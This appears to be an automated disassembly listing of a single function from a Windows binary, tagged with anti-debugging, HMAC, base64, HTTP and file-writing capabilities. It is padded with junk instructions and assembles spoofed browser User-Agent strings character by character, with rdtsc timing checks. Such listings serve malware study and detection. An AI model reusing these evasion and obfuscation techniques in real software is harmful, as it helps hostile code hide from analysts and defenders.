Function at 0x18c6826
Capabilities:
Authenticate hmac
Check http status code
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Write file on windows

Disassembly:
mov word [ebp - 0x17e6], dx
xor ah, 0xf4
mov eax, 0x4d
shld ecx, ebx, 0x10
xor ecx, eax
mov word [ebp - 0x17e4], ax
and dx, 0x36ef
mov ecx, 0x61
btc eax, 0x70
sal ax, 0x68
mov word [ebp - 0x17e2], cx
mov edx, 0x63
cbw
shr ecx, cl
mov word [ebp - 0x17e0], dx
and ecx, 0x344c4554
or ax, sp
mov eax, 0x20
mov cx, dx
test eax, 0xafa6c6b
add cx, 0x3776
mov word [ebp - 0x17de], ax
shr cx, 0xa1
mov ecx, 0x4f
movzx dx, al
inc dh
mov word [ebp - 0x17dc], cx
sal dx, 0x84
mov edx, 0x53
test dh, ah
jmp 0x56a6c1
mov eax, 0x28
mov word [ebp - 0x1808], ax
ror ch, cl
mov edx, eax
shrd edx, ecx, 0x29
mov ecx, 0x4d
mov word [ebp - 0x1806], cx
mov edx, 0x61
mov word [ebp - 0x1804], dx
btr dx, ax
rdtsc
sbb eax, 0xa8b459a
mov eax, 0x63
neg ecx
jmp 0x187177d
mov edx, 0x65
sbb ch, 0x79
mov word [ebp - 0x1176], dx
xchg cx, ax
rdtsc
mov eax, 0x2f
shl ecx, cl
sbb dx, 0x477c
mov word [ebp - 0x1174], ax
sbb ah, 0x1c
cmovbe eax, edx
bt eax, esi
mov ecx, 0x38
rcr ax, 0xd3
test edi, 0x2ce84e70
movsx edx, ax
mov word [ebp - 0x1172], cx
neg dl
and cl, bl
sal dl, cl
mov edx, 0x37
clc
sbb al, 0x7a
mov word [ebp - 0x1170], dx
mov eax, 0x2e
mov word [ebp - 0x116e], ax
sub dl, 0x35
add dl, bh
mov ecx, 0x30
cmp esp, 0x1f9b3efc
sal dx, 0x84
shrd edx, ecx, 0x62
mov word [ebp - 0x116c], cx
cwd
shld cx, si, 0xee
sbb dx, bp
mov edx, eax
mov word [ebp - 0x116a], dx
ror dh, 0x17
mov eax, 0x34
mov word [ebp - 0x1168], ax
sub dh, bh
stc
mov ecx, 0x32
shld ax, di, 0x33
sub edx, esp
adc edx, edi
mov word [ebp - 0x1166], cx
shrd ax, si, 0x25
stc
mov edx, 0x38
rol ch, cl
shl cl, cl
rol cx, 0xd9
mov word [ebp - 0x1164], dx
rol ah, cl
mov eax, 0x30
mov word [ebp - 0x1162], ax
bts cx, sp
mov ecx, 0x2e
mov word [ebp - 0x1160], cx
mov ch, bh
sbb cl, 0xf0
or ecx, 0x326c2e39
mov word [ebp - 0x115e], dx
mov eax, edx
add edx, ecx
shld edx, ebx, 0x23
mov word [ebp - 0x115c], ax
shl ch, 0x59
bsf eax, ebp
mov ecx, 0x20
mov word [ebp - 0x115a], cx
shl cl, cl
xor edx, 0x5cd56916
mov edx, 0x53
mov word [ebp - 0x1158], dx
mov eax, 0x61
sbb ch, 0xc
sbb edx, ecx
btc cx, bx
mov word [ebp - 0x1156], ax
xchg ch, cl
sar cl, 0x86
mov ecx, 0x66
mov word [ebp - 0x1154], cx
cmovl dx, ax
ror edx, cl
or dx, 0x640
mov edx, eax
and cl, 0xb8
btr ecx, esi
rcl ah, 0xb6
mov word [ebp - 0x1152], dx
sar ecx, cl
sbb dx, 0x75e
mov cl, dh
mov eax, 0x72
rol ch, cl
mov word [ebp - 0x1150], ax
setae ch
bswap ax
mov ecx, 0x69
clc
setg al
sbb dh, 0x15
mov word [ebp - 0x114e], cx
mov edx, 0x2f
inc cl
mov word [ebp - 0x114c], dx
sbb ecx, 0xd825e49
setl dh
mov eax, 0x35
and ecx, 0x8b66a9d
rcl dh, cl
mov word [ebp - 0x114a], ax
btr cx, ax
cmp esi, 0x5ddf33b4
mov ecx, 0x33
btr ax, 0xe8
cwd
mov word [ebp - 0x1148], cx
mov edx, 0x37
mov word [ebp - 0x1146], dx
shr ah, cl
cbw
mov eax, 0x2e
mov word [ebp - 0x1144], ax
mov word [ebp - 0x1142], cx
mov edx, 0x36
rol cl, 0x28
bts ecx, ecx
mov word [ebp - 0x1140], dx
neg cx
btc cx, bx
sub eax, eax
mov word [ebp - 0x113e], ax
xchg cl, cl
movzx ecx, bx
push 0x11c
cmovs ecx, edi
movsx ecx, dx
push eax
mov cl, 0x9a
not ch
bswap cx
lea ecx, [ebp - 0x113c]
push ecx
call fcn.00473d70
add esp, 0xc
sar edx, cl
cwd
mov edx, 0x4d
cmovb eax, ebx
mov word [ebp - 0x1020], dx
test ax, 0x2288
sar dx, 0x61
mov eax, 0x6f
mov word [ebp - 0x101e], ax
cwd
mov ecx, 0x7a
ror edx, cl
sal ax, 0x9d
mov word [ebp - 0x101c], cx
ror cl, cl
cmp esp, 0x7880115a
cmovle eax, ebx
mov edx, 0x69
xadd ax, cx
mov word [ebp - 0x101a], dx
mov eax, 0x6c
or ecx, 0x7538517c
mov word [ebp - 0x1018], ax
mov ecx, eax
inc eax
mov word [ebp - 0x1016], cx
and cx, bp
mov edx, 0x61
mov word [ebp - 0x1014], dx
mov cx, si
bswap cx
mov eax, 0x2f
and edx, 0x38a42363
movsx ecx, bp
dec cx
mov word [ebp - 0x1012], ax
movzx ecx, bp
mov ecx, 0x35
cwd
dec edx
mov word [ebp - 0x1010], cx
lahf
stc
neg edx
mov edx, 0x2e
bsr ecx, esi
clc
shrd cx, ax, 0x68
mov word [ebp - 0x100e], dx
lahf
adc eax, edi
cbw
mov eax, 0x30
mov word [ebp - 0x100c], ax
jmp 0x15bcc53
mov word [ebp - 0x17da], dx
movzx ecx, ax
mov word [ebp - 0x17d8], ax
stc
mov ecx, 0x58
shld edx, esp, 0x4b
sar dh, cl
dec dl
mov word [ebp - 0x17d6], cx
ror dl, cl
sub edx, edx
mov edx, eax
not ax
xor ch, 0x6e
mov word [ebp - 0x17d4], dx
test ebx, 0xbcc64ab
xor ah, 0x6b
mov eax, 0x78
bswap cx
bt ecx, eax
bts cx, sp
mov word [ebp - 0x17d2], ax
cbw
bsf cx, sp
bsr cx, dx
mov ecx, 0x2e
shr al, 0x3b
mov word [ebp - 0x17d0], cx
mov edx, 0x79
add al, 0x6a
jmp 0x17a9d6f
mov word [ebp - 0x17f4], cx
and cx, di
or ax, 0x6a01
mov edx, 0x20
mov word [ebp - 0x17f2], dx
cbw
rol al, cl
sar ch, cl
mov eax, 0x49
bswap cx
rcr edx, 0x8a
adc cx, cx
mov word [ebp - 0x17f0], ax
mov ecx, 0x6e
cmp ebp, ebx
rol ax, 0xfa
mov word [ebp - 0x17ee], cx
sub ecx, ebx
cbw
mov edx, 0x74
bt eax, ebp
mov word [ebp - 0x17ec], dx
sar eax, cl
xor edx, esi
mov eax, 0x65
test ebx, edi
jmp 0x15ff465
xor eax, eax
sub cl, 0xee
xchg si, bx
mov ecx, dword [ebp - 0x10]
sbb si, si
mov dword fs:[0], ecx
pop ecx
rol ecx, cl
bt esi, 0xb
pop edi
bt si, bx
btc ebx, eax
mov ebx, eax
pop esi
mov ebx, ebx
cmc
pop ebx
sbb ecx, edx
and cx, si
rcl ecx, cl
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
jmp 0x17e8f15
mov word [ebp - 0x13c2], dx
btc dx, 0x59
btc eax, edx
xadd dl, dl
mov eax, 0x28
cmp ebp, ecx
ror ch, cl
mov word [ebp - 0x13c0], ax
setb al
mov ecx, 0x4b
mov word [ebp - 0x13be], cx
btc eax, 0x6e
mov edx, 0x48
mov word [ebp - 0x13bc], dx
mov eax, 0x54
mov word [ebp - 0x13ba], ax
movzx edx, sp
neg ax
bts ax, bx
mov ecx, 0x4d
mov word [ebp - 0x13b8], cx
bswap cx
add cx, si
mov edx, 0x4c
sal ecx, cl
test si, 0x2bf5
bts ecx, edx
mov word [ebp - 0x13b6], dx
xor eax, edi
mov eax, 0x2c
mov word [ebp - 0x13b4], ax
cwde
mov ecx, 0x20
xchg al, dl
rcr eax, 0x51
mov word [ebp - 0x13b2], cx
mov edx, 0x6c
bt eax, 6
sar ch, 0xb5
xchg ch, ch
mov word [ebp - 0x13b0], dx
mov eax, 0x69
mov word [ebp - 0x13ae], ax
mov al, 0x68
mov ecx, 0x6b
inc edx
mov word [ebp - 0x13ac], cx
sar dh, 0xc1
mov edx, 0x65
bt ecx, ebp
mov word [ebp - 0x13aa], dx
rcr ecx, cl
cmp ebp, 0x11d42e48
xadd ecx, eax
mov eax, 0x20
test dx, 0x1951
mov word [ebp - 0x13a8], ax
sal cl, 0xd6
sar ch, 0x5c
mov ecx, 0x47
xadd al, ah
ror al, 0xf0
mov word [ebp - 0x13a6], cx
mov word [ebp - 0x13a4], dx
shl dh, cl
sbb ch, 0xf6
sal ch, cl
mov eax, 0x63
mov ch, 0x53
clc
mov word [ebp - 0x13a2], ax
rcl dh, 0x27
cmp bh, 0xbd
cwd
mov ecx, 0x6b
clc
mov word [ebp - 0x13a0], cx
test ah, 0x88
mov edx, 0x6f
cwde
movsx ax, cl
mov word [ebp - 0x139e], dx
btr dx, 0x9f
sbb eax, eax
mov eax, 0x29
add cl, dh
mov word [ebp - 0x139c], ax
inc edx
clc
movsx cx, bl
mov ecx, 0x20
cmp ah, 0x46
btc edx, ebp
mov word [ebp - 0x139a], cx
rol dx, 0xb9
shr cl, 0x21
bts edx, edx
mov edx, 0x43
xchg ch, cl
btr ax, si
btc eax, ebx
mov word [ebp - 0x1398], dx
sete ch
bt dx, cx
mov eax, 0x68
mov word [ebp - 0x1396], ax
adc ah, ch
mov ecx, 0x72
bt ax, si
cmp si, bx
rol eax, cl
mov word [ebp - 0x1394], cx
mov edx, 0x6f
cbw
mov word [ebp - 0x1392], dx
and ax, bx
rol dx, cl
cwd
mov eax, 0x6d
sar dx, 0x8f
or edx, 0x2b490b08
jmp 0x167ba82
mov edx, 0x38
mov word [ebp - 0xf72], dx
mov eax, 0x36
btr edx, 0xca
mov ch, ah
mov word [ebp - 0xf70], ax
mov ecx, 0x2e
rcl edx, cl
bts dx, bx
rcl al, 0x4f
mov word [ebp - 0xf6e], cx
mov edx, 0x30
rol al, cl
mov word [ebp - 0xf6c], dx
btc edx, esi
mov eax, ecx
adc ecx, 0x13e57dba
cdq
mov word [ebp - 0xf6a], ax
sbb cx, 0x1469
movsx cx, cl
cbw
mov ecx, 0x34
sbb eax, 0x8525476
mov word [ebp - 0xf68], cx
xadd ah, dl
mov edx, 0x32
btr ax, di
xadd ax, ax
bsr eax, esp
mov word [ebp - 0xf66], dx
shrd dx, si, 4
shl ah, 3
mov eax, ecx
cmp bl, 0xd4
mov word [ebp - 0xf64], ax
mov ecx, 0x30
movsx ax, cl
sal dl, 0xea
rcr ah, 0xb5
mov word [ebp - 0xf62], cx
mov edx, 0x2e
bt eax, 0x99
lahf
mov word [ebp - 0xf60], dx
cmc
mov eax, 0x31
mov cx, cx
cmc
mov word [ebp - 0xf5e], ax
mov ecx, 0x39
mov word [ebp - 0xf5c], cx
mov edx, 0x38
mov word [ebp - 0xf5a], dx
btc dx, sp
xor dx, di
add ch, 0x80
mov eax, 0x20
shl dx, cl
btc edx, edx
sub dx, bp
mov word [ebp - 0xf58], ax
shl cx, 0xef
or ecx, esp
cwde
mov ecx, 0x53
test dx, 0x511e
dec eax
neg dx
mov word [ebp - 0xf56], cx
mov edx, 0x61
or cl, dl
movsx ecx, bp
mov word [ebp - 0xf54], dx
bts cx, dx
neg ax
mov eax, 0x66
not ch
ror cl, cl
bt cx, 0x6f
mov word [ebp - 0xf52], ax
mov ecx, edx
adc ax, cx
mov ax, si
mov word [ebp - 0xf50], cx
mov edx, 0x72
btc ecx, eax
dec cl
mov word [ebp - 0xf4e], dx
jmp 0x16ffb50
mov ecx, 0x20
bts dx, bp
mov word [ebp - 0x100a], cx
inc dx
sal al, 0x54
or ecx, esp
mov edx, 0x28
adc eax, esp
jmp 0x15cfb09
mov word [ebp - 0x1008], dx
btr dx, 0x36
cmp ax, 0x1ee0
mov eax, 0x57
test di, 0xbcc
cmp ah, 0x9d
mov word [ebp - 0x1006], ax
sar eax, 0x62
adc dx, sp
rcr dh, cl
mov ecx, 0x69
mov word [ebp - 0x1004], cx
mov edx, 0x6e
mov word [ebp - 0x1002], dx
adc ch, 4
rcl eax, cl
mov eax, 0x64
mov word [ebp - 0x1000], ax
rol cl, cl
ror cx, cl
mov ecx, 0x6f
btc eax, 0x5f
mov word [ebp - 0xffe], cx
mov edx, 0x77
setb cl
mov word [ebp - 0xffc], dx
mov eax, 0x73
xor cx, bp
btc edx, 0x39
jmp 0x17fded9
mov word [ebp - 0x136c], ax
mov ecx, edx
ror dx, cl
mov word [ebp - 0x136a], cx
bts edx, esp
mov edx, 0x72
btc ecx, edi
jmp 0x18b8e7b
mov word [ebp - 0x17ea], ax
xor edx, 0x10a058e1
mov ecx, 0x6c
rcl dx, 0x30
mov word [ebp - 0x17e8], cx
rcl dl, 0x5c
shl ecx, 0xa5
dec edx
mov edx, 0x20
or cl, 0xed
jmp 0x530d43
mov word [ebp - 0x1216], ax
and eax, 0x22195ca6
mov ecx, 0x61
mov word [ebp - 0x1214], cx
mov edx, 0x2f
mov word [ebp - 0x1212], dx
and ch, 0x1e
shrd cx, sp, 0x6f
mov eax, 0x35
rol dl, 0x67
cdq
mov word [ebp - 0x1210], ax
sal al, 0xdb
btc edx, 0x35
and dx, bp
mov ecx, 0x2e
shl eax, 0x49
bsf ax, dx
or dh, bl
mov word [ebp - 0x120e], cx
sbb dh, 0xf2
and ah, al
mov edx, 0x30
mov word [ebp - 0x120c], dx
sub ah, 0x81
or dx, sp
mov eax, 0x20
cmovb dx, sp
setp ch
inc dx
mov word [ebp - 0x120a], ax
btc dx, 0x77
bsr eax, ebp
mov ecx, 0x28
mov word [ebp - 0x1208], cx
mov edx, 0x57
mov word [ebp - 0x1206], dx
shrd ax, di, 6
shr eax, 0x53
mov eax, 0x69
mov word [ebp - 0x1204], ax
rcr ax, 0x6a
mov ecx, 0x6e
mov word [ebp - 0x1202], cx
setp ch
mov edx, 0x64
mov word [ebp - 0x1200], dx
mov eax, 0x6f
ror cx, cl
rcr cx, cl
mov word [ebp - 0x11fe], ax
mov ecx, 0x77
test sp, bp
adc dx, di
and edx, edi
mov word [ebp - 0x11fc], cx
cmp sp, si
btr edx, eax
mov edx, 0x73
cmovae eax, ebx
mov word [ebp - 0x11fa], dx
mov eax, 0x20
mov word [ebp - 0x11f8], ax
test ecx, ebp
or ecx, 0x36351b61
mov ecx, 0x4e
mov word [ebp - 0x11f6], cx
dec dh
mov edx, 0x54
rcr ch, cl
mov word [ebp - 0x11f4], dx
mov word [ebp - 0x11f2], ax
dec ch
mov ecx, 0x36
or dx, di
bswap dx
mov word [ebp - 0x11f0], cx
rol cl, 0x80
mov edx, 0x2e
adc ch, 0xad
mov word [ebp - 0x11ee], dx
cwde
mov eax, 0x31
cwd
bts cx, bp
mov word [ebp - 0x11ec], ax
cwd
mov ecx, 0x3b
mov word [ebp - 0x11ea], cx
xadd cx, dx
sal ch, 0xa4
mov edx, 0x20
cmp si, di
mov word [ebp - 0x11e8], dx
mov edx, edi
mov eax, 0x57
mov word [ebp - 0x11e6], ax
cwde
shl eax, cl
inc cl
mov ecx, 0x69
cbw
or dh, 0x14
mov word [ebp - 0x11e4], cx
xchg cl, dh
test esp, esi
mov edx, 0x6e
movzx ecx, bx
ror al, 0x96
mov word [ebp - 0x11e2], dx
cmc
mov eax, 0x36
btc edx, 0x60
and edx, esi
shrd dx, ax, 0xc0
mov word [ebp - 0x11e0], ax
xor ecx, ebx
shrd cx, bp, 0x62
mov ecx, 0x34
rdtsc
mov word [ebp - 0x11de], cx
ror ax, cl
xadd ecx, ecx
rol ch, cl
mov edx, 0x3b
mov word [ebp - 0x11dc], dx
ror dl, 0xa9
mov eax, 0x20
sub ecx, eax
mov word [ebp - 0x11da], ax
mov ecx, 0x78
bts edx, ebp
bswap edx
mov eax, esi
mov word [ebp - 0x11d8], cx
movzx eax, cx
sal cx, cl
mov edx, 0x36
ror eax, cl
sub ah, dh
mov word [ebp - 0x11d6], dx
add edx, ebp
cdq
xor dx, 0x18a5
mov eax, 0x34
mov word [ebp - 0x11d4], ax
mov ecx, 0x29
shl dh, 0x8e
btr edx, 0x53
mov word [ebp - 0x11d2], cx
mov edx, 0x20
mov word [ebp - 0x11d0], dx
sbb ah, 0xe0
stc
mov eax, 0x41
dec cl
mov word [ebp - 0x11ce], ax
mov ecx, 0x70
movsx eax, sp
bsf edx, esi
mov word [ebp - 0x11cc], cx
mov edx, ecx
mov word [ebp - 0x11ca], dx
mov eax, 0x6c
mov word [ebp - 0x11c8], ax
xor eax, edi
sub al, 0x55
mov ecx, 0x65
ror dx, 0x5c
xor dl, 0x15
mov word [ebp - 0x11c6], cx
mov edx, 0x57
neg ax
sub al, 0xb0
mov word [ebp - 0x11c4], dx
rcl ax, cl
cdq
cwde
mov eax, ecx
xor dh, 0x26
dec edx
mov word [ebp - 0x11c2], ax
xchg dl, ch
sar eax, cl
not ecx
mov ecx, 0x62
mov word [ebp - 0x11c0], cx
sub ah, 0x25
rcl cl, cl
mov edx, 0x4b
movsx ecx, sp
and eax, esi
mov word [ebp - 0x11be], dx
mov eax, 0x69
xadd cx, cx
shl cx, 0xc4
mov word [ebp - 0x11bc], ax
mov ecx, 0x74
shld ax, dx, 0x73
mov word [ebp - 0x11ba], cx
not ch
mov edx, 0x2f
rol ah, 0x6e
sub ax, sp
shr al, 0x98
mov word [ebp - 0x11b8], dx
mov eax, 0x35
xor dl, 0xe5
rcr cx, 0x95
mov word [ebp - 0x11b6], ax
mov ecx, 0x33
add dl, 0xd0
adc ah, 0x80
mov word [ebp - 0x11b4], cx
sar edx, 0xc0
bsr ax, bx
xadd dh, al
mov edx, 0x37
mov word [ebp - 0x11b2], dx
shr ah, 0xc1
ror dx, cl
mov eax, 0x2e
btc dx, cx
btc edx, 0x7a
mov edx, 0x618c29d4
mov word [ebp - 0x11b0], ax
mov word [ebp - 0x11ae], cx
mov dx, cx
mov edx, 0x36
add cx, 0x363a
mov word [ebp - 0x11ac], dx
mov eax, 0x20
mov word [ebp - 0x11aa], ax
mov ecx, 0x28
sbb edx, 0x5dbc1cbc
test bx, bp
stc
mov word [ebp - 0x11a8], cx
mov edx, 0x4b
shl ecx, cl
add ax, sp
shrd cx, si, 0x6e
mov word [ebp - 0x11a6], dx
movzx ecx, di
mov eax, 0x48
mov word [ebp - 0x11a4], ax
btc eax, 0x7c
sub cl, 0xd
xor edx, esp
mov ecx, 0x54
bts edx, edi
btr ax, 0xb3
sbb dh, 0xf4
mov word [ebp - 0x11a2], cx
and ax, 0x17e7
mov dl, dl
cmc
mov edx, 0x4d
and eax, eax
shl al, cl
mov word [ebp - 0x11a0], dx
shr ecx, 0xc3
sets cl
mov eax, 0x4c
btc edx, 0x7d
shld edx, ecx, 0xfa
rcr edx, 0x69
mov word [ebp - 0x119e], ax
cmovns cx, sp
xchg ecx, ecx
bts eax, ebx
mov ecx, 0x2c
inc dl
bsr edx, ecx
xchg dx, ax
mov word [ebp - 0x119c], cx
sbb eax, 0xd24f72
mov edx, 0x20
xadd ax, ax
bsf ecx, eax
xor ch, bh
mov word [ebp - 0x119a], dx
mov dx, 0x4b38
mov eax, 0x6c
shld dx, sp, 0xf4
rol cx, 0x66
mov word [ebp - 0x1198], ax
or edx, ebx
sar ch, cl
mov ecx, 0x69
ror ah, cl
shl dh, 0x5d
dec ax
mov word [ebp - 0x1196], cx
or dl, al
shr dx, 0x55
mov edx, 0x6b
sets al
mov ax, ax
adc ah, 0x1a
mov word [ebp - 0x1194], dx
mov eax, 0x65
rcl cl, 0x93
mov word [ebp - 0x1192], ax
adc dx, bx
adc dh, 0x16
mov ecx, 0x20
bt edx, edi
btr edx, eax
xor dx, 0x2522
mov word [ebp - 0x1190], cx
adc dl, 0xb4
sal dh, cl
mov edx, 0x47
shl cl, cl
mov word [ebp - 0x118e], dx
btc cx, sp
jmp 0x1797b92
push ebp
not ebp
xor al, 0x49
bts eax, ecx
mov ebp, esp
clc
btr ax, sp
and al, 1
push 0xfffffffffffffffe
push 0x403db4
adc al, 0x6c
stc
push 0x474040
sbb ax, di
mov eax, dword fs:[0]
jmp 0x1736753
mov word [ebp - 0x1390], ax
mov ecx, 0x65
and ah, bh
mov word [ebp - 0x138e], cx
cmc
movsx cx, dh
sar edx, 0xbb
mov edx, 0x2f
ror cx, cl
sal cl, 0x82
mov word [ebp - 0x138c], dx
bt dx, 0x9f
cmc
mov eax, 0x38
rcl cl, 0xba
ror dh, 0x41
movzx ecx, bp
mov word [ebp - 0x138a], ax
adc al, 0xd2
shl cx, cl
mov ecx, 0x37
mov word [ebp - 0x1388], cx
btc cx, si
sbb eax, 0x60d87a4f
mov edx, 0x2e
inc cx
adc ecx, esi
mov word [ebp - 0x1386], dx
cbw
cmc
mov eax, 0x30
test esp, edi
mov word [ebp - 0x1384], ax
bswap cx
sbb ch, 0x28
mov ecx, edx
test edi, 0x38697021
mov word [ebp - 0x1382], cx
shl ecx, 0xec
btc edx, eax
dec al
mov edx, 0x34
adc ax, dx
add cx, ax
mov word [ebp - 0x1380], dx
movsx ax, cl
rol eax, 0x7c
mov eax, 0x32
mov edx, esp
mov word [ebp - 0x137e], ax
shr eax, 0xfc
cwd
mov eax, edi
mov ecx, 0x38
mov word [ebp - 0x137c], cx
rol ah, cl
mov edx, 0x30
add eax, edx
jmp 0x18b6c55
push edx
jmp 0x176b6db
push eax
jmp 0x172cc77
mov dword [ebp - 0x1e58], ecx
mov ax, 0x2fde
mov edx, dword [ebp + 0x1c]
mov ax, 0x72fd
mov dword [ebp - 0x1e5c], edx
lahf
mov ax, sp
mov dword [esi], 0
movsx eax, bx
push 0
cwde
mov eax, dword [0x52af98]
jmp 0x18b8187
mov eax, 0x69
shr cl, 0x66
mov word [ebp - 0xf4c], ax
test di, 0x5584
xadd edx, eax
rcl al, 0x80
mov ecx, 0x2f
shld ax, bp, 2
cwde
bt edx, edi
mov word [ebp - 0xf4a], cx
test eax, 0x3dc6616a
rcl ch, cl
cmc
mov edx, 0x35
ror ah, cl
mov word [ebp - 0xf48], dx
bt ax, 0x9e
bswap ax
mov eax, 0x33
mov word [ebp - 0xf46], ax
bts cx, bx
mov ecx, 0x37
sete dh
bswap dx
mov word [ebp - 0xf44], cx
setae ch
mov edx, 0x2e
xchg cl, ch
btr ecx, ebp
rcr ch, 0x81
mov word [ebp - 0xf42], dx
dec cx
mov word [ebp - 0xf40], ax
sar eax, cl
ror cx, 0x7c
mov ecx, 0x36
mov word [ebp - 0xf3e], cx
xor edx, edx
setp al
mov ax, 0x1108
cbw
mov word [ebp - 0xf3c], dx
cmovo ax, sp
cbw
xchg ah, al
push 0x11a
mov al, 0x19
mov ah, dh
jmp 0x176c866
xor ecx, ecx
cdq
mov word [ebp - 0x1986], cx
mov edx, 0x73bd3e90
push 0x164
cdq
movzx edx, bp
mov dl, 0xe0
push ecx
not dh
bswap edx
xchg edx, edx
lea edx, [ebp - 0x1984]
jmp 0x16832c0
push ecx
jmp 0x18b1888
mov ecx, 0x2e
ror al, cl
rcl ax, 0xea
mov word [ebp - 0x17be], cx
mov edx, 0x30
sub eax, edi
bts ax, bp
mov word [ebp - 0x17bc], dx
neg ax
mov eax, 0x29
mov word [ebp - 0x17ba], ax
rol dl, 0x97
mov ecx, 0x20
mov word [ebp - 0x17b8], cx
inc ax
bt edx, ecx
not dx
mov edx, 0x47
mov word [ebp - 0x17b6], dx
bt ax, 0x10
btc ecx, edi
mov eax, 0x65
movzx ecx, di
mov word [ebp - 0x17b4], ax
mov ecx, 0x63
mov word [ebp - 0x17b2], cx
shl dl, cl
movzx ecx, cx
mov edx, 0x6b
shr ah, cl
mov word [ebp - 0x17b0], dx
xadd ax, cx
mov eax, 0x6f
rcr dh, cl
mov word [ebp - 0x17ae], ax
mov ecx, 0x2f
btr eax, 0x90
test si, 0x19a
mov word [ebp - 0x17ac], cx
shr ax, cl
mov edx, 0x32
sar ecx, cl
bsf eax, esi
mov word [ebp - 0x17aa], dx
mov eax, 0x30
shrd cx, di, 0x2e
bt dx, 0x8b
mov word [ebp - 0x17a8], ax
mov dx, si
rcl dx, cl
neg ch
mov ecx, 0x31
rol edx, 0xa2
sub dl, 0x78
shl dx, 0xb7
mov word [ebp - 0x17a6], cx
or edx, eax
mov edx, eax
clc
mov word [ebp - 0x17a4], dx
mov word [ebp - 0x17a2], ax
ror ah, cl
sub ah, 0x3f
shr ax, 0xc
mov word [ebp - 0x17a0], cx
mov word [ebp - 0x179e], dx
bsf dx, ax
bts ax, si
mov eax, ecx
xadd cx, cx
cmovl edx, ecx
mov word [ebp - 0x179c], ax
mov ah, 0xe1
dec eax
mov ecx, 0x20
cmove eax, esp
mov word [ebp - 0x179a], cx
mov edx, 0x46
and al, al
mov word [ebp - 0x1798], dx
add ch, ah
xadd al, ch
btr cx, sp
mov eax, 0x69
cdq
mov word [ebp - 0x1796], ax
shrd ecx, edi, 0x20
movzx ecx, bx
mov ecx, 0x72
mov word [ebp - 0x1794], cx
add ax, 0x43ac
xchg ah, dl
bsf cx, si
mov edx, 0x65
stc
mov word [ebp - 0x1792], dx
cmovg dx, di
sbb dx, 0x2e49
sal al, cl
mov eax, 0x66
movsx dx, cl
adc edx, esi
mov word [ebp - 0x1790], ax
sbb ah, 0x27
cmp ebx, ebx
btc ax, si
mov ecx, 0x6f
mov word [ebp - 0x178e], cx
mov edx, 0x78
rcl ecx, cl
sub cx, dx
mov word [ebp - 0x178c], dx
rcl dx, cl
btc eax, edi
mov eax, 0x2f
inc ch
shl dx, 0xd1
xchg dh, dl
mov word [ebp - 0x178a], ax
rol dh, cl
bts ecx, eax
shr edx, 0x52
mov ecx, 0x34
mov word [ebp - 0x1788], cx
shld cx, cx, 0x2c
inc eax
btr edx, ecx
mov edx, 0x32
btc cx, 0x7a
rol cx, 0x50
shr ah, 0x45
mov word [ebp - 0x1786], dx
sbb cl, al
mov ax, ax
mov eax, 0x2e
mov word [ebp - 0x1784], ax
mov ecx, 0x30
mov word [ebp - 0x1782], cx
sar ax, 0x42
nop
sub edx, edx
mov word [ebp - 0x1780], dx
mov ax, sp
push 0x15e
push edx
nop
lea eax, [ebp - 0x177e]
jmp 0x16aa2a2
call fcn.00473d70
lea esp, [esp + 0xc]
btc eax, ebp
mov ecx, 0x4d
mov word [ebp - 0x1620], cx
mov edx, 0x6f
sub eax, 0x14010a55
bts ax, ax
btc ax, bx
mov word [ebp - 0x161e], dx
btc edx, edx
mov eax, 0x7a
adc cl, 0xed
mov word [ebp - 0x161c], ax
shl eax, 6
xadd cx, cx
mov ecx, 0x69
ror edx, cl
btr edx, 0x12
ror dl, 0xcc
mov word [ebp - 0x161a], cx
cmc
shl edx, 0x24
mov edx, 0x6c
sal cx, 0x1c
rcl ax, 0xd1
shl cx, cl
mov word [ebp - 0x1618], dx
ror cl, 2
mov eax, edx
sal ecx, cl
inc dl
mov word [ebp - 0x1616], ax
btr edx, ecx
mov ecx, 0x61
shl al, cl
sal edx, cl
mov word [ebp - 0x1614], cx
sar edx, 0x64
rcr dh, cl
rol ax, cl
mov edx, 0x2f
bsr cx, dx
ror cx, 0x76
lahf
mov word [ebp - 0x1612], dx
mov eax, 0x35
rcl dh, 0xe2
cmp esp, edx
mov word [ebp - 0x1610], ax
mov ecx, 0x2e
nop
cmp bl, 0x8d
mov word [ebp - 0x160e], cx
clc
jmp 0x17ef79b
mov ecx, 0x20
btc ax, 0xab
mov word [ebp - 0x1a0a], cx
movsx edx, sp
mov edx, 0x28
cmp bh, 0x67
cmovle cx, si
mov word [ebp - 0x1a08], dx
not ah
sal al, 0xc1
mov eax, 0x57
mov word [ebp - 0x1a06], ax
add dx, 0x4204
setbe ch
mov ecx, 0x69
test dx, 0x4a16
bts ax, cx
shrd edx, esi, 0xb4
mov word [ebp - 0x1a04], cx
mov edx, 0x6e
cmova eax, eax
sal ecx, 0xc6
btr ax, di
mov word [ebp - 0x1a02], dx
bts ecx, eax
inc ah
mov eax, 0x64
test dh, 0x6d
sbb ch, 0x3b
mov word [ebp - 0x1a00], ax
setle dl
rol ax, cl
mov ecx, 0x6f
mov word [ebp - 0x19fe], cx
sub dl, 0xb9
mov cx, dx
movsx ecx, ax
mov edx, 0x77
mov ax, sp
rcl ecx, cl
sub cx, 0x158f
mov word [ebp - 0x19fc], dx
shl dl, cl
btr edx, eax
xchg dl, ah
mov eax, 0x73
adc ch, 0x10
mov word [ebp - 0x19fa], ax
cmp bh, 7
mov ecx, 0x20
mov word [ebp - 0x19f8], cx
sub edx, 0xe76470
xchg dh, ah
mov edx, 0x4e
sal al, cl
mov word [ebp - 0x19f6], dx
mov eax, 0x54
adc dl, dl
mov word [ebp - 0x19f4], ax
mov word [ebp - 0x19f2], cx
rcl cx, cl
shr cx, cl
mov edx, 0x36
add eax, ebp
movzx eax, dx
movsx ax, al
mov word [ebp - 0x19f0], dx
mov eax, 0x2e
cmp esi, eax
shld edx, ecx, 0x6b
mov word [ebp - 0x19ee], ax
shl ax, cl
rcr al, cl
mov ecx, 0x31
mov word [ebp - 0x19ec], cx
mov dh, ah
bsf cx, sp
mov edx, 0x3b
sbb al, 0xc7
neg al
ror ch, cl
mov word [ebp - 0x19ea], dx
mov eax, 0x20
shl dx, 0xcb
ror cl, cl
sbb edx, esp
mov word [ebp - 0x19e8], ax
mov ecx, 0x57
mov word [ebp - 0x19e6], cx
bts dx, bx
cwd
inc dl
mov edx, 0x69
not eax
sbb ax, dx
mov word [ebp - 0x19e4], dx
sbb dh, 0x33
movzx eax, bx
xchg edx, ecx
mov eax, 0x6e
mov word [ebp - 0x19e2], ax
mov ecx, 0x36
bsr ax, cx
setl dh
and eax, 0x49eb6b2a
